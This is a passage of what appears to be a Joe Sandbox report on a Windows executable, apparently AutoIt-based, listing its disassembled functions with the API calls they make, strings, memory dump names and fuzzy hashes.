Function 009D2A55 Relevance: 1.5, APIs: 1, Instructions: 25COMMON

Download Yara Rule

APIs

IsWindow.USER32(00000000), ref: 009D2A66

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: 80ac6a97c7a15795ddfdffa1f58c9349677da88ec295b47c37809d106bd66e2b
Instruction ID: f6c7317442e03cb79265cd6c26d339a20cc764405b980f06321a581eb866e824
Opcode Fuzzy Hash: 80ac6a97c7a15795ddfdffa1f58c9349677da88ec295b47c37809d106bd66e2b
Instruction Fuzzy Hash: 69E04F76394216AAC714EB30DC809FAB35CEBE53957108937BC16C2240EB34D99596E0

Function 009430F2 Relevance: 1.5, APIs: 1, Instructions: 24windowCOMMON

Download Yara Rule

APIs

Shell_NotifyIconW.SHELL32(00000002,?), ref: 0094314E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: IconNotifyShell_
String ID:
API String ID: 1144537725-0
Opcode ID: 9dd610bb997c26d35e6799534673ba0b4ab75abbcdafc1958c9993639930e2c2
Instruction ID: 9cafa996eeccb6244b96cd4a68f7a11f3457485ad26be559a6e83be37b8fc5ba
Opcode Fuzzy Hash: 9dd610bb997c26d35e6799534673ba0b4ab75abbcdafc1958c9993639930e2c2
Instruction Fuzzy Hash: FDF0ECB09143149FEB92DF64DC45BD57BFCA70170CF0040E5A24897295D7704789CF41

Function 00942DA5 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00942DC4

Part of subcall function 00946B57: _wcslen.LIBCMT ref: 00946B6A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: LongNamePath_wcslen
String ID:
API String ID: 541455249-0
Opcode ID: 960a5199e446c9c7ee5026c699149c817580f7ce438ad7555ad049ed8b652ec3
Instruction ID: 44d64600b16ee40a371ca488e758a4502116e0e3d4517d4e01e1b8a5f56f9b2f
Opcode Fuzzy Hash: 960a5199e446c9c7ee5026c699149c817580f7ce438ad7555ad049ed8b652ec3
Instruction Fuzzy Hash: A7E0CDB26041245BCB10A2589C05FDA77DDDFC8790F040071FD09D7248DA60ED80C651

Function 00942B3D Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00943837: Shell_NotifyIconW.SHELL32(00000000,?), ref: 00943908

Part of subcall function 0094D730: GetInputState.USER32 ref: 0094D807

SetCurrentDirectoryW.KERNEL32(?), ref: 00942B6B

Part of subcall function 009430F2: Shell_NotifyIconW.SHELL32(00000002,?), ref: 0094314E

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: IconNotifyShell_$CurrentDirectoryInputState
String ID:
API String ID: 3667716007-0
Opcode ID: fa3c17eca38b30fac941b59e493f05efbfe41e6a8474a8805cd7e54da6d18c13
Instruction ID: 9df6fdc4b1c4862f578f12a1dda94c4de999070d7f1c7f4b254445ddab086f1d
Opcode Fuzzy Hash: fa3c17eca38b30fac941b59e493f05efbfe41e6a8474a8805cd7e54da6d18c13
Instruction Fuzzy Hash: 69E0866170424407CA08BB749852EADF7599BD1755F40553EF146832A3CE6545858351

Function 0098039A Relevance: 1.5, APIs: 1, Instructions: 15fileCOMMONLIBRARYCODE

Download Yara Rule

APIs

CreateFileW.KERNELBASE(00000000,00000000,?,00980704,?,?,00000000,?,00980704,00000000,0000000C), ref: 009803B7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: da74276c271a7c1c4d1643b00647f6b18b485fd47feb7acdfff716e2c8c05991
Instruction ID: f5f58c20fb1ceba712b33a8a288256ff42fb8d343733512c43e1a6bc5903da6b
Opcode Fuzzy Hash: da74276c271a7c1c4d1643b00647f6b18b485fd47feb7acdfff716e2c8c05991
Instruction Fuzzy Hash: A8D06C3205410DBBDF028F84DD06EDA3BAAFB48714F014000BE1856020C732E861EB90

Function 00941CAD Relevance: 1.5, APIs: 1, Instructions: 8COMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00002001,00000000,00000002), ref: 00941CBC

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: InfoParametersSystem
String ID:
API String ID: 3098949447-0
Opcode ID: 40c2cc8551d8f8239842be8b3c2ee4b5cde31fa4403d87e78f5caff4f801f417
Instruction ID: 9ff47275c7002556f23262e43f3c4c2e45b12e4ebffb88538293e4efa7377d73
Opcode Fuzzy Hash: 40c2cc8551d8f8239842be8b3c2ee4b5cde31fa4403d87e78f5caff4f801f417
Instruction Fuzzy Hash: 9FC092362C4305AFF654CBC0BC8EF907B66E348B14F04C102F709A96E3C3A26861EB50

Non-executed Functions

Function 009D9576 Relevance: 72.4, APIs: 39, Strings: 2, Instructions: 625windowkeyboardCOMMON

Download Yara Rule

APIs

Part of subcall function 00959BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 00959BB2

DefDlgProcW.USER32(?,0000004E,?,?,?,?,?,?), ref: 009D961A
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 009D965B
GetWindowLongW.USER32(FFFFFDD9,000000F0), ref: 009D969F
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 009D96C9
SendMessageW.USER32 ref: 009D96F2
GetKeyState.USER32(00000011), ref: 009D978B
GetKeyState.USER32(00000009), ref: 009D9798
SendMessageW.USER32(?,0000130B,00000000,00000000), ref: 009D97AE
GetKeyState.USER32(00000010), ref: 009D97B8
SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 009D97E9
SendMessageW.USER32 ref: 009D9810
SendMessageW.USER32(?,00001030,?,009D7E95), ref: 009D9918
ImageList_SetDragCursorImage.COMCTL32(00000000,00000000,00000000,?,?,?), ref: 009D992E
ImageList_BeginDrag.COMCTL32(00000000,000000F8,000000F0), ref: 009D9941
SetCapture.USER32(?), ref: 009D994A
ClientToScreen.USER32(?,?), ref: 009D99AF
ImageList_DragEnter.COMCTL32(00000000,?,?), ref: 009D99BC
InvalidateRect.USER32(?,00000000,00000001,?,?,?), ref: 009D99D6
ReleaseCapture.USER32 ref: 009D99E1
GetCursorPos.USER32(?), ref: 009D9A19
ScreenToClient.USER32(?,?), ref: 009D9A26
SendMessageW.USER32(?,00001012,00000000,?), ref: 009D9A80
SendMessageW.USER32 ref: 009D9AAE
SendMessageW.USER32(?,00001111,00000000,?), ref: 009D9AEB
SendMessageW.USER32 ref: 009D9B1A
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 009D9B3B
SendMessageW.USER32(?,0000110B,00000009,?), ref: 009D9B4A
GetCursorPos.USER32(?), ref: 009D9B68
ScreenToClient.USER32(?,?), ref: 009D9B75
GetParent.USER32(?), ref: 009D9B93
SendMessageW.USER32(?,00001012,00000000,?), ref: 009D9BFA
SendMessageW.USER32 ref: 009D9C2B
ClientToScreen.USER32(?,?), ref: 009D9C84
TrackPopupMenuEx.USER32(?,00000000,?,?,?,00000000), ref: 009D9CB4
SendMessageW.USER32(?,00001111,00000000,?), ref: 009D9CDE
SendMessageW.USER32 ref: 009D9D01
ClientToScreen.USER32(?,?), ref: 009D9D4E
TrackPopupMenuEx.USER32(?,00000080,?,?,?,00000000), ref: 009D9D82

Part of subcall function 00959944: GetWindowLongW.USER32(?,000000EB), ref: 00959952

GetWindowLongW.USER32(?,000000F0), ref: 009D9E05

Strings

F, xrefs: 009D9D07
@GUI_DRAGID, xrefs: 009D997D

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: MessageSend$ClientScreen$ImageLongWindow$CursorDragList_State$CaptureMenuPopupTrack$BeginEnterInvalidateParentProcRectRelease
String ID: @GUI_DRAGID$F
API String ID: 3429851547-4164748364
Opcode ID: b1b41ce23180790b97cb38c15cf00904761a87506c8152d30f68d43d42514d22
Instruction ID: 38cf39473eb6f1fc8ce262750596a02858ec145e399c80a943097512b6ea0d4f
Opcode Fuzzy Hash: b1b41ce23180790b97cb38c15cf00904761a87506c8152d30f68d43d42514d22
Instruction Fuzzy Hash: 5642BF74249201AFDB20EF64CC44FAABBE9FF48314F508A1AF699973A1D731E850DB51

Function 0095F98E Relevance: 43.9, APIs: 24, Strings: 1, Instructions: 130keyboardthreadwindowCOMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(00000000,00000000,00000000), ref: 0095F998
FindWindowW.USER32(Shell_TrayWnd,00000000), ref: 0099F474
IsIconic.USER32(00000000), ref: 0099F47D
ShowWindow.USER32(00000000,00000009), ref: 0099F48A
SetForegroundWindow.USER32(00000000), ref: 0099F494
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0099F4AA
GetCurrentThreadId.KERNEL32 ref: 0099F4B1
GetWindowThreadProcessId.USER32(00000000,00000000), ref: 0099F4BD
AttachThreadInput.USER32(?,00000000,00000001), ref: 0099F4CE
AttachThreadInput.USER32(?,00000000,00000001), ref: 0099F4D6
AttachThreadInput.USER32(00000000,000000FF,00000001), ref: 0099F4DE
SetForegroundWindow.USER32(00000000), ref: 0099F4E1
MapVirtualKeyW.USER32(00000012,00000000), ref: 0099F4F6
keybd_event.USER32(00000012,00000000), ref: 0099F501
MapVirtualKeyW.USER32(00000012,00000000), ref: 0099F50B
keybd_event.USER32(00000012,00000000), ref: 0099F510
MapVirtualKeyW.USER32(00000012,00000000), ref: 0099F519
keybd_event.USER32(00000012,00000000), ref: 0099F51E
MapVirtualKeyW.USER32(00000012,00000000), ref: 0099F528
keybd_event.USER32(00000012,00000000), ref: 0099F52D
SetForegroundWindow.USER32(00000000), ref: 0099F530
AttachThreadInput.USER32(?,000000FF,00000000), ref: 0099F557

Strings

Shell_TrayWnd, xrefs: 0099F46F

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Window$Thread$AttachForegroundInputVirtualkeybd_event$Process$CurrentFindIconicShow
String ID: Shell_TrayWnd
API String ID: 4125248594-2988720461
Opcode ID: 547179e578ee333c0cbc4836b91a901deec7529214d82335e4ba38e542b92ccb
Instruction ID: 189e9b94de789fe7342b1295faa2ceaab490d95f8e083527c5e9392909e8e5e9
Opcode Fuzzy Hash: 547179e578ee333c0cbc4836b91a901deec7529214d82335e4ba38e542b92ccb
Instruction Fuzzy Hash: 2531A1B1A94219BBEF206BB55C4AFBF7F6CEB44B50F100026FA00E61D1C6B09D40FA61

Function 009A1201 Relevance: 38.7, APIs: 19, Strings: 3, Instructions: 241COMMON

Download Yara Rule

APIs

Part of subcall function 009A16C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 009A170D
Part of subcall function 009A16C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 009A173A
Part of subcall function 009A16C3: GetLastError.KERNEL32 ref: 009A174A

LogonUserW.ADVAPI32(?,?,?,00000000,00000000,?), ref: 009A1286
DuplicateTokenEx.ADVAPI32(?,00000000,00000000,00000002,00000001,?), ref: 009A12A8
CloseHandle.KERNEL32(?), ref: 009A12B9
OpenWindowStationW.USER32(winsta0,00000000,00060000), ref: 009A12D1
GetProcessWindowStation.USER32 ref: 009A12EA
SetProcessWindowStation.USER32(00000000), ref: 009A12F4
OpenDesktopW.USER32(default,00000000,00000000,00060081), ref: 009A1310

Part of subcall function 009A10BF: AdjustTokenPrivileges.ADVAPI32(?,00000000,?,00000000,00000000,00000000,?,009A11FC), ref: 009A10D4
Part of subcall function 009A10BF: CloseHandle.KERNEL32(?,?,009A11FC), ref: 009A10E9

Strings

winsta0, xrefs: 009A12CC
, xrefs: 009A125A
default, xrefs: 009A130B

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: StationTokenWindow$AdjustCloseHandleOpenPrivilegesProcess$DesktopDuplicateErrorLastLogonLookupPrivilegeUserValue
String ID: $default$winsta0
API String ID: 22674027-1027155976
Opcode ID: ae386712dad7650dd1267af03a058cced448e37db320fd79521484b9283b8609
Instruction ID: 901b5cd08d78c5b4bd53e286a235b6336cbcaba0eb442eb90755d5abf418741d
Opcode Fuzzy Hash: ae386712dad7650dd1267af03a058cced448e37db320fd79521484b9283b8609
Instruction Fuzzy Hash: 9881A0B1944209AFDF119FA8DC49FEE7BBDEF49704F14412AF910E61A0C7358984DBA4

Function 009A0B62 Relevance: 31.7, APIs: 21, Instructions: 202memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 009A10F9: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 009A1114
Part of subcall function 009A10F9: GetLastError.KERNEL32(?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A1120
Part of subcall function 009A10F9: GetProcessHeap.KERNEL32(00000008,?,?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A112F
Part of subcall function 009A10F9: HeapAlloc.KERNEL32(00000000,?,00000000,00000000,?,?,009A0B9B,?,?,?), ref: 009A1136
Part of subcall function 009A10F9: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 009A114D

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 009A0BCC
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 009A0C00
GetLengthSid.ADVAPI32(?), ref: 009A0C17
GetAce.ADVAPI32(?,00000000,?), ref: 009A0C51
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 009A0C6D
GetLengthSid.ADVAPI32(?), ref: 009A0C84
GetProcessHeap.KERNEL32(00000008,00000008), ref: 009A0C8C
HeapAlloc.KERNEL32(00000000), ref: 009A0C93
GetLengthSid.ADVAPI32(?,00000008,?), ref: 009A0CB4
CopySid.ADVAPI32(00000000), ref: 009A0CBB
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 009A0CEA
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 009A0D0C
SetUserObjectSecurity.USER32(?,00000004,?), ref: 009A0D1E
GetProcessHeap.KERNEL32(00000000,00000000), ref: 009A0D45
HeapFree.KERNEL32(00000000), ref: 009A0D4C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 009A0D55
HeapFree.KERNEL32(00000000), ref: 009A0D5C
GetProcessHeap.KERNEL32(00000000,00000000), ref: 009A0D65
HeapFree.KERNEL32(00000000), ref: 009A0D6C
GetProcessHeap.KERNEL32(00000000,?), ref: 009A0D78
HeapFree.KERNEL32(00000000), ref: 009A0D7F

Part of subcall function 009A1193: GetProcessHeap.KERNEL32(00000008,009A0BB1,?,00000000,?,009A0BB1,?), ref: 009A11A1
Part of subcall function 009A1193: HeapAlloc.KERNEL32(00000000,?,00000000,?,009A0BB1,?), ref: 009A11A8
Part of subcall function 009A1193: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00000000,?,009A0BB1,?), ref: 009A11B7

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Heap$Process$Security$Free$AllocDescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
String ID:
API String ID: 4175595110-0
Opcode ID: 6fa2a1f179d2427795ab1aefd42c160f96ce6db57f0576b5e285144a6cc6ba35
Instruction ID: 84b21a76848100677ed38287b95589f14d763d9d7afe3c4083db26416c2974a0
Opcode Fuzzy Hash: 6fa2a1f179d2427795ab1aefd42c160f96ce6db57f0576b5e285144a6cc6ba35
Instruction Fuzzy Hash: 9371AAB690421AEBDF10DFA4DC44FAEBBBCBF45310F04421AF914A7290D771AA45CBA0

Function 009BEAFF Relevance: 30.2, APIs: 20, Instructions: 191clipboardfileCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32(009DCC08), ref: 009BEB29
IsClipboardFormatAvailable.USER32(0000000D), ref: 009BEB37
GetClipboardData.USER32(0000000D), ref: 009BEB43
CloseClipboard.USER32 ref: 009BEB4F
GlobalLock.KERNEL32(00000000), ref: 009BEB87
CloseClipboard.USER32 ref: 009BEB91
GlobalUnlock.KERNEL32(00000000), ref: 009BEBBC
IsClipboardFormatAvailable.USER32(00000001), ref: 009BEBC9
GetClipboardData.USER32(00000001), ref: 009BEBD1
GlobalLock.KERNEL32(00000000), ref: 009BEBE2
GlobalUnlock.KERNEL32(00000000), ref: 009BEC22
IsClipboardFormatAvailable.USER32(0000000F), ref: 009BEC38
GetClipboardData.USER32(0000000F), ref: 009BEC44
GlobalLock.KERNEL32(00000000), ref: 009BEC55
DragQueryFileW.SHELL32(00000000,000000FF,00000000,00000000), ref: 009BEC77
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 009BEC94
DragQueryFileW.SHELL32(00000000,?,?,00000104), ref: 009BECD2
GlobalUnlock.KERNEL32(00000000), ref: 009BECF3
CountClipboardFormats.USER32 ref: 009BED14
CloseClipboard.USER32 ref: 009BED59

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Clipboard$Global$AvailableCloseDataDragFileFormatLockQueryUnlock$CountFormatsOpen
String ID:
API String ID: 420908878-0
Opcode ID: a9f588f16c68cc6170008c04da25b97b94edb7cc26111cf520177acc7c604f51
Instruction ID: 752604757618098956ab45a487c80ea2dbec32c2d95c09fce2420c1279eb8d2c
Opcode Fuzzy Hash: a9f588f16c68cc6170008c04da25b97b94edb7cc26111cf520177acc7c604f51
Instruction Fuzzy Hash: 0461E174248202AFD300EF24C988FAAB7ECEF84724F54451EF496972A2CB71DD45DB62

Function 009B698F Relevance: 21.4, APIs: 7, Strings: 5, Instructions: 363timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 009B69BE
FindClose.KERNEL32(00000000), ref: 009B6A12
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 009B6A4E
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 009B6A75

Part of subcall function 00949CB3: _wcslen.LIBCMT ref: 00949CBD

FileTimeToSystemTime.KERNEL32(?,?), ref: 009B6AB2
FileTimeToSystemTime.KERNEL32(?,?), ref: 009B6ADF

Strings

%03d, xrefs: 009B6DA2
%4d%02d%02d%02d%02d%02d, xrefs: 009B6B6A
%4d%02d%02d%02d%02d%02d%03d, xrefs: 009B6B32
%4d, xrefs: 009B6BB1
%02d, xrefs: 009B6C00, 009B6C0A, 009B6C5A, 009B6CAA, 009B6CFA, 009B6D4A

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Time$File$FindLocalSystem$CloseFirst_wcslen
String ID: %02d$%03d$%4d$%4d%02d%02d%02d%02d%02d$%4d%02d%02d%02d%02d%02d%03d
API String ID: 3830820486-3289030164
Opcode ID: 1176fcfcc03054b3ecd0e3ce3d0a534a95fc8429c382dfecd2faf77b3941c7a1
Instruction ID: a748f4c39b381873f36ca1365c77cffd1071ced8d6a54972ddceae19241d73af
Opcode Fuzzy Hash: 1176fcfcc03054b3ecd0e3ce3d0a534a95fc8429c382dfecd2faf77b3941c7a1
Instruction Fuzzy Hash: 5FD151B2508304AEC710EBA4D991EAFB7ECAFC8704F44491DF589D7191EB74DA48CB62

Function 009B9642 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 118fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,74DE8FB0,?,00000000), ref: 009B9663
GetFileAttributesW.KERNEL32(?), ref: 009B96A1
SetFileAttributesW.KERNEL32(?,?), ref: 009B96BB
FindNextFileW.KERNEL32(00000000,?), ref: 009B96D3
FindClose.KERNEL32(00000000), ref: 009B96DE
FindFirstFileW.KERNEL32(*.*,?), ref: 009B96FA
SetCurrentDirectoryW.KERNEL32(?), ref: 009B974A
SetCurrentDirectoryW.KERNEL32(00A06B7C), ref: 009B9768
FindNextFileW.KERNEL32(00000000,00000010), ref: 009B9772
FindClose.KERNEL32(00000000), ref: 009B977F
FindClose.KERNEL32(00000000), ref: 009B978F

Strings

*.*, xrefs: 009B96F5

Memory Dump Source

Source File: 0000000D.00000002.4041188736.0000000000941000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00940000, based on PE: true

Associated: 0000000D.00000002.4041102544.0000000000940000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.00000000009DC000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041316649.0000000000A02000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041422450.0000000000A0C000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 0000000D.00000002.4041468153.0000000000A14000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_940000_4feecdc349.jbxd

Similarity

API ID: Find$File$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1409584000-438819550
Opcode ID: 4aadd8be2fd8ee8fd2506eb16fd7f2613901032f6658f54159494faf91582595
Instruction ID: e29ca51d24593e0060daa9caf174e8ea30d3ef915d7b9a912486d3647d06ad97
Opcode Fuzzy Hash: 4aadd8be2fd8ee8fd2506eb16fd7f2613901032f6658f54159494faf91582595
Instruction Fuzzy Hash: 9531F5B25A520A7ECF10AFB4ED88ADE77ECAF49330F104556FA14E2190DB34DD80DA50

Function 009B979D Relevance: 17.6, APIs: 9, Strings: 1, Instructions: 111fileCOMMON

Download Yara Rule

APIs

